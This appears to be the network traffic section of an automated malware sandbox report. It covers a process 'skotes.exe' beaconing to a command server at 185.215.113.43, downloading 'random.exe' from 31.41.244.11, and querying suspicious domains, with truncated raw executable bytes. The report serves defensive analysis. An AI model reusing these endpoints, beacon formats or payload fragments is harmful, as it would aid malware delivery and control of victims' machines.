                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.055033922 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.055058956 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.056168079 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.056200981 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.056212902 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.056246996 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.057163000 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.057214022 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.057235956 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.057272911 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.058471918 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.058518887 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.058676958 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.058725119 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.059573889 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.059622049 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.059691906 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.059736013 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.156893969 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.156910896 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.156959057 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.156970978 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.157426119 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.157480001 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.157547951 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.157597065 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.158570051 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.158626080 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.158668995 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.158711910 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.159775972 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.160932064 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.197707891 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.197757959 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.197882891 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.197971106 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.198174000 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.198230982 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.198318958 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.198375940 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.199383974 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.199438095 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.199620962 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.199671030 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.200699091 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.200742006 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.200859070 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.200901031 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.201659918 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.201845884 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.201893091 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.202929974 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.202946901 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.202980995 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.203001022 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.204052925 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.204068899 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.204106092 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:50.204117060 CET4985080192.168.2.431.41.244.11

                                                                                                                                                                                                                                                                                  DNS Queries

                                                                                                                                                                                                                                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:28.112251043 CET192.168.2.41.1.1.10x3fe9Standard query (0)cheapptaxysu.clickA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:41.390130043 CET192.168.2.41.1.1.10x93a0Standard query (0)drive.google.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.212515116 CET192.168.2.41.1.1.10xb9c8Standard query (0)drive.usercontent.google.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.677455902 CET192.168.2.41.1.1.10x3edfStandard query (0)ipinfo.ioA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:51.676541090 CET192.168.2.41.1.1.10x765bStandard query (0)api.telegram.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:53.187901020 CET192.168.2.41.1.1.10x330Standard query (0)httpbin.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:53.187988043 CET192.168.2.41.1.1.10x5b98Standard query (0)httpbin.org28IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:56.987361908 CET192.168.2.41.1.1.10x72faStandard query (0)home.fivetk5ht.topA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:56.987471104 CET192.168.2.41.1.1.10xf927Standard query (0)home.fivetk5ht.top28IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:04.993381977 CET192.168.2.41.1.1.10x6090Standard query (0)home.fivetk5ht.topA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:04.993510962 CET192.168.2.41.1.1.10xf28dStandard query (0)home.fivetk5ht.top28IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:05.882474899 CET192.168.2.41.1.1.10xaeebStandard query (0)treehoneyi.clickA (IP address)IN (0x0001)false

                                                                                                                                                                                                                                                                                  DNS Answers

                                                                                                                                                                                                                                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:28.408796072 CET1.1.1.1192.168.2.40x3fe9No error (0)cheapptaxysu.click104.21.67.146A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:28.408796072 CET1.1.1.1192.168.2.40x3fe9No error (0)cheapptaxysu.click172.67.177.88A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:41.528232098 CET1.1.1.1192.168.2.40x93a0No error (0)drive.google.com172.217.17.46A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.350773096 CET1.1.1.1192.168.2.40xb9c8No error (0)drive.usercontent.google.com172.217.17.65A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.814387083 CET1.1.1.1192.168.2.40x3edfNo error (0)ipinfo.io34.117.59.81A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:51.814107895 CET1.1.1.1192.168.2.40x765bNo error (0)api.telegram.org149.154.167.220A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:53.492997885 CET1.1.1.1192.168.2.40x330No error (0)httpbin.org98.85.100.80A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:53.492997885 CET1.1.1.1192.168.2.40x330No error (0)httpbin.org34.226.108.155A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:57.672389984 CET1.1.1.1192.168.2.40x72faNo error (0)home.fivetk5ht.top185.121.15.192A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:05.135235071 CET1.1.1.1192.168.2.40x6090No error (0)home.fivetk5ht.top185.121.15.192A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:06.184003115 CET1.1.1.1192.168.2.40xaeebNo error (0)treehoneyi.click104.21.91.209A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:06.184003115 CET1.1.1.1192.168.2.40xaeebNo error (0)treehoneyi.click172.67.180.113A (IP address)IN (0x0001)false

                                                                                                                                                                                                                                                                                  HTTP Packets

                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  0192.168.2.449748185.215.113.43807324C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:04.674294949 CET156OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 185.215.113.43
                                                                                                                                                                                                                                                                                  Content-Length: 4
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 73 74 3d 73
                                                                                                                                                                                                                                                                                  Data Ascii: st=s
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:06.015527964 CET219INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:05 GMT
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                  Refresh: 0; url = Login.php
                                                                                                                                                                                                                                                                                  Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: 1 0


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  1192.168.2.449754185.215.113.43807324C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:07.638849020 CET308OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 185.215.113.43
                                                                                                                                                                                                                                                                                  Content-Length: 154
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 41 32 42 37 31 42 32 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46
                                                                                                                                                                                                                                                                                  Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7ABA2B71B25F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:09.011374950 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:08 GMT
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                  Data Raw: 35 64 39 0d 0a 20 3c 63 3e 31 30 31 39 33 31 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 39 33 31 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 63 37 61 39 64 35 31 34 33 61 36 35 61 65 30 30 33 35 36 34 64 35 62 39 63 64 33 65 39 35 36 62 37 62 35 64 31 23 31 30 31 39 33 31 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 31 37 37 39 62 34 36 34 64 61 63 35 38 65 62 30 33 35 36 34 64 35 62 39 63 64 33 65 39 35 36 62 37 62 35 64 31 23 31 30 31 39 33 31 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 [TRUNCATED]
                                                                                                                                                                                                                                                                                  Data Ascii: 5d9 <c>1019315001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1019316001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcc7a9d5143a65ae003564d5b9cd3e956b7b5d1#1019317001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd1779b464dac58eb03564d5b9cd3e956b7b5d1#1019318001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc07e80454db045e5404b5a0dc093f619bca9db5d60e66725#1019319001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1019320001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc770934541bf5dab5e45425197d1aa1daaa8#1019321001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc07e804d03ac52ea484b411b9dc4e1#1019322001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1019323001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1019324001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbe06d9d4a43ba [TRUNCATED]
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:09.011394978 CET124INData Raw: 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23
                                                                                                                                                                                                                                                                                  Data Ascii: 5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1019326001+++fc8f7c1ed3c0f9c30b4baed74c613
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:09.245490074 CET328INData Raw: 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 39 33 32 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61
                                                                                                                                                                                                                                                                                  Data Ascii: 95d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1019327001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1019328001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1019329001+++


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  2192.168.2.44976031.41.244.11807324C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:09.414186001 CET62OUTGET /files/burpin1/random.exe HTTP/1.1
                                                                                                                                                                                                                                                                                  Host: 31.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.736458063 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:10 GMT
                                                                                                                                                                                                                                                                                  Content-Type: application/octet-stream
                                                                                                                                                                                                                                                                                  Content-Length: 4438776
                                                                                                                                                                                                                                                                                  Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT
                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                  ETag: "675784f0-43baf8"
                                                                                                                                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                  Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                                                  Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.736476898 CET224INData Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1
                                                                                                                                                                                                                                                                                  Data Ascii: jZQ39FY~9F~fAfG@;F|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A|At>E;Ew6rE;Es,j*P*YYtlAj@ AEPjh5XAA3
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.736519098 CET1236INData Raw: c9 c2 0c 00 8b 44 24 08 85 c0 74 0c a3 6c e9 41 00 b8 05 40 00 80 eb 3a 56 8b 74 24 08 57 8d 7e 24 83 3f 00 74 0f 8b 4e 20 8d 46 34 50 83 c1 08 e8 c0 11 01 00 8b cf e8 da 29 01 00 83 7e 1c 00 74 0c ff 76 40 ff 76 28 ff 15 80 a1 41 00 5f 33 c0 5e
                                                                                                                                                                                                                                                                                  Data Ascii: D$tlA@:Vt$W~$?tN F4P)~tv@v(A_3^UVuA}juuv(j}iuv(jjuVP^]=AtjA=XAtL$AVQ3=lAQjjPR=Atj5XAA^L$
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.736536980 CET1236INData Raw: 8b 76 0c 85 f6 59 74 06 8b 06 56 ff 50 08 5e c3 83 6c 24 04 04 e9 76 ff ff ff 56 6a 01 8b f1 e8 d3 fc ff ff 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 66 83 24 41 00 8b c6 5e c2 04 00 55 8b ec ff 75 0c 8b 4d 08 e8 03 fc ff
                                                                                                                                                                                                                                                                                  Data Ascii: vYtVP^l$vVjFfT$fAFFf$A^UuMuME]Vt$NFuhVrzY3^Uh$AuYYtEMPQ3hAu{YYu@]L$IAujP3VNXAD
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.736553907 CET1236INData Raw: 8d 55 d4 0f 95 c0 52 6a 0c ff 75 0c 89 46 3c 8b 46 0c 8b 08 50 ff 51 18 3b c7 89 45 0c 74 19 8d 4d d4 e8 fe 08 01 00 ff 75 f0 e8 ec 75 01 00 8b 7d 0c 59 e9 cf fe ff ff 0f b7 45 d4 3b c7 74 1a 83 f8 40 74 07 6a 66 e9 71 ff ff ff 8b 45 dc 89 46 34
                                                                                                                                                                                                                                                                                  Data Ascii: URjuF<FPQ;EtMuu}YE;t@tjfqEF4EF8EPAF4PEPA9~<t3Y>jh/N4QPYY%jlu;YtxXAH3PMF (F jQHxx,
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.736572027 CET672INData Raw: 64 a1 41 00 eb 7a 83 3d 90 e9 41 00 00 75 6f 8b 35 68 a1 41 00 68 d0 a5 41 00 bb c4 a5 41 00 53 c7 05 90 e9 41 00 01 00 00 00 ff d6 8b 3d 6c a1 41 00 50 ff d7 6a 00 89 45 fc 0f b7 05 80 e9 41 00 68 09 04 00 00 6a 00 50 8d 45 bc 68 a8 a5 41 00 50
                                                                                                                                                                                                                                                                                  Data Ascii: dAz=Auo5hAhAASA=lAPjEAhjPEhAPA}uhASPEtjEPjU3_^[U,SVW3WAjXPE0A}j`X5TAj`jdPv|=j[j=j[j_EPju@AWSuW
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.737138033 CET1236INData Raw: 50 ff 51 0c 39 75 fc 74 3f ff 75 fc e8 d4 fd ff ff 59 8d 4d d8 51 6a 18 50 89 45 fc ff 15 40 a0 41 00 6a 06 ff 75 e0 ff 75 dc 56 56 56 ff 75 08 ff 15 84 a2 41 00 ff 75 fc 56 68 72 01 00 00 ff 75 08 ff 15 b8 a2 41 00 8b 45 f0 8b 08 50 ff 51 08 33
                                                                                                                                                                                                                                                                                  Data Ascii: PQ9ut?uYMQjPE@AjuuVVVuAuVhruAEPQ3@WPA3_^[f=AuD<AfAAfft@Af=uDAA;ufAAUSV339AtAM9tFA9u9
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.737154961 CET224INData Raw: 5b c2 04 00 8b 01 8b 51 04 8b 4c 24 08 2b d1 8d 54 12 02 8d 0c 48 52 51 8b 4c 24 0c 8d 04 48 50 ff 15 3c a2 41 00 83 c4 0c c2 08 00 53 56 57 eb 3b 8b 02 8b 39 8a 1c 07 8a c3 e8 db f5 ff ff 84 c0 75 27 80 fb 3b 75 2d 3b fe 7d 12 8b 01 8b 32 80 3c
                                                                                                                                                                                                                                                                                  Data Ascii: [QL$+THRQL$HP<ASVW;9u';u-;}2<0t@;B|2_^[Ar91|S\$VWu33|$Gt$P$AtF;w|3_^[t3GVt$W39~~(Ft$P$A
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.737497091 CET1236INData Raw: 00 85 c0 75 0b 8b 06 6a 01 57 8b ce ff 50 04 4f 47 3b 7e 08 7c d8 5f 5e c3 56 8b f1 ff 76 0c e8 cf 68 01 00 ff 36 e8 c8 68 01 00 59 59 5e c3 ff 74 24 0c ff 74 24 0c ff 74 24 0c e8 59 ff ff ff 83 c4 0c 85 c0 74 04 8b 40 0c c3 33 c0 c3 55 8b ec 83
                                                                                                                                                                                                                                                                                  Data Ascii: ujWPOG;~|_^Vvh6hYY^t$t$t$Yt@3U@}u3AE@uEEP At7M3;w.rE;Es$j+pPkYYtAA3@t$Yujht$jAt$jYu%8AV
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.737576008 CET1236INData Raw: ff 75 08 53 ff 75 10 ff 15 18 a1 41 00 8b 0e 88 1c 08 89 46 04 5f 8b c6 5e 5b 5d c3 55 8b ec 83 ec 0c 8d 4d f4 e8 76 e6 ff ff 83 7d fc 01 7f 0a 6a 01 8d 4d f4 e8 32 e3 ff ff 56 8b 35 14 a1 41 00 57 8b 7d 08 8b 07 6a 01 ff 75 f4 50 ff d6 85 c0 75
                                                                                                                                                                                                                                                                                  Data Ascii: uSuAF_^[]UMv}jM2V5AW}juPuucY7S@PPMPSuVf$FYEEPdVcY[_^U cSVW}3SSSSWPEu50AXuEE3]]]}MQ
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.857625961 CET1236INData Raw: 15 04 a1 41 00 5e c3 33 c0 5e c3 56 e8 ac fe ff ff 59 5e c3 53 8b 5c 24 0c 8b 03 83 63 04 00 66 83 20 00 56 8b 74 24 0c 57 6a 02 5f eb 08 66 3d 20 00 77 0a 03 f7 0f b7 06 66 85 c0 75 f0 66 83 3e 2c 75 0f eb 0b 66 85 c0 74 4d 66 3d 2c 00 74 47 03
                                                                                                                                                                                                                                                                                  Data Ascii: A^3^VY^S\$cf Vt$Wj_f= wfuf>,uftMf=,tGf={u0{t+uFf8}tF"Ff8{uPfu_^[L$Vj\%L$j/;~^VW|$t$A~!FPPPt$


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  3192.168.2.449786185.215.113.43807324C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
